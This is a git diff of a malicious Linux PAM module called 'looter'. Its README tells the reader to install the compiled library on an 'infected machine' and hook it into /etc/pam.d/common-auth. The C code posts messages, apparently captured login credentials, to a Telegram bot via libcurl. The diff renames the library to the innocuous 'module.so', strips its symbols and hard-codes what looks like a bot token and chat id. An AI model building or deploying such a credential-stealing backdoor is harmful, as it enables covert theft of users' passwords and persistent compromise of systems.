diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..cc78368 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +*.so +*.o diff --git a/Makefile b/Makefile index eba5483..1e9a73e 100644 --- a/Makefile +++ b/Makefile @@ -1,5 +1,6 @@ CFLAGS += -Werror -Wall -looter.so: looter.c +module.so: looter.c gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl + strip module.so diff --git a/README.md b/README.md index c12a15a..62ea53b 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ Now with this C version, you compile it on your machine and send it to the infec * libpam0g-dev # Configure -Edit the `looter.c` and add your telegram bot token and your user id. +Edit the `looter.c` and add your telegram bot token and either your user id or chat id. # Compiling ```bash @@ -16,7 +16,7 @@ make ``` # Usage -Copy the `looter.so` to the infected machine on `/lib/security`, then edit the `/etc/pam.d/common-auth` and add the following lines. +Copy the `module.so` to the infected machine on `/lib/security`, then edit the `/etc/pam.d/common-auth` and add the following lines. ``` auth optional module.so account optional module.so diff --git a/looter.c b/looter.c index b5e50f9..b0d5464 100644 --- a/looter.c +++ b/looter.c @@ -16,13 +16,13 @@ void sendMessage(char (*message)[]) { char data[200]; //INSERT HERE YOUR BOT KEY - char token[200] = "BOT TOKEN"; + char token[200] = "7265763082:AAGsEx-REXAMPLEsRf6CeF81SS7N75eb-fZkU"; //INSERT HERE YOUR USER ID - int user_id = 1111111; + const char *chat_id = "-45365880307"; snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token); - snprintf(data,300,"chat_id=%d&text=%s",user_id,*message); + snprintf(data,300,"chat_id=%s&text=%s",chat_id,*message); CURL *curl; curl_global_init(CURL_GLOBAL_ALL); curl = curl_easy_init();